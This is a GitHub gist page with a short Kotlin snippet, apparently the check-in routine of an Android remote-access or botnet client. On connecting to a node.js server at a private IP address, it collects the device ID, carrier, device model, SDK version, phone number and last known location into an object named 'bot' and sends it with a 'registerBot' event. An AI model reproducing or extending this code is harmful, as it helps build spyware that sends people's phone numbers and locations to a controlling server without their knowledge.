-
-
Save abhinavsuthar/b470b9320e20c285b81f724b43042784 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
val server = "http://10.24.xx.xx:3000" // Adress of node.js server | |
val socket = IO.socket(server); | |
socket.on(Socket.EVENT_CONNECT) { //This function will callled up when connection to server is extablished | |
val params = CommonParams(this) | |
val bot = JSONObject() | |
bot.put("uid", params.uid) | |
bot.put("provider", params.provider) | |
bot.put("device", params.device) | |
bot.put("sdk", params.sdk) | |
bot.put("version", params.version) | |
bot.put("phone", params.phone) | |
bot.put("location", getLastLocation()) | |
socket.emit("registerBot", bot) //To send data to server on connection | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment